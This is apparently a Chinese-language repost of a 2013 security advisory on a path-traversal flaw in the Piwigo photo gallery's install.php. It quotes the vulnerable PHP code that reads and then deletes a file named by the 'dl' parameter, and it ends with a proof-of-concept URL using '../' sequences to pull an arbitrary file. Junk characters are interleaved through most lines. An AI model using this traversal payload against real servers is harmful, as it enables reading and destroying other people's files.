Piwigo是用PHP编写的相册脚本。2 }- @8 j5 G; S! \5 z. X
, Q3 |. `0 P! }3 U" M3 YPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
% I0 p$ N9 ~/ b) ^3 J' x% g====================================================================# b U1 L: J9 K+ K; s5 c6 `7 B+ f6 ]
/install.php:
. @( Z8 ~+ [1 u; _1 V# N-------------* I3 Z* `& Z0 v9 O7 e, f
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
. Z9 L, a4 f" B* I& N114: {& X! c$ }* c3 Y7 Q2 V. [' Y
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];7 U. T1 x; [ I; L# j
116: header('Cache-Control: no-cache, must-revalidate');
& c3 i$ }3 ^8 Q& i' r: f117: header('Pragma: no-cache');# Y: P- h8 l( v- Y
118: header('Content-Disposition: attachment; filename="database.inc.php"');3 C9 l1 J" }; P0 `6 r5 e
119: header('Content-Transfer-Encoding: binary');9 z( n. W* g3 p& ^ k4 l6 `6 K
120: header('Content-Length: '.filesize($filename));4 @+ j+ |' C" s& k' K5 R6 o1 @
121: echo file_get_contents($filename);
1 f; D: R* l6 y6 v122: unlink($filename);7 w# B6 ]/ L- B6 l" T: |# h
123: exit();, X/ x. `6 n: J: x3 [; h7 G- Z
124: }
" q; p5 S- b& k5 H! S7 i& O5 z====================================================================
- c6 G3 Y8 C8 B" K) Q
* ], v3 v5 U8 V# [/ R- P% c6 ATested on: Microsoft Windows 7 Ultimate SP1 (EN); x& k4 R$ Y$ E1 c" P, s
Apache 2.4.2 (Win32)
# K. U4 T: M0 l PHP 5.4.4 e9 g. a6 e8 L. I. w4 m* Q
MySQL 5.5.25a
: t2 f% R1 Q0 |: j! a7 t
$ j8 k9 R# \* @0 M+ fVulnerability discovered by Gjoko 'LiquidWorm' Krstic
0 B8 I, V) d. j2 D% ], l @zeroscience
. p9 |0 t1 m1 z7 Q Q4 N' G2 u. q, Z7 ]0 S+ D) }
Advisory ID: ZSL-2013-5127
; v$ T! T/ {5 i# w5 \7 {+ G: NAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
9 h) x) S3 S; }/ `& {$ VVendor Patch: http://piwigo.org/bugs/view.php?id=2843% {0 o2 i4 j- V3 ?5 \0 D7 o1 @
3 G4 m7 d v% \1 \- T15.02.2013
) E8 I, A- S; E! R
- R: N9 b* l( q0 @- e0 [0 p, |--( o! }, B% p- @( X
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
' b$ b# I2 ]3 C: i. N6 D! R ) v9 }/ ~2 M: V- D
|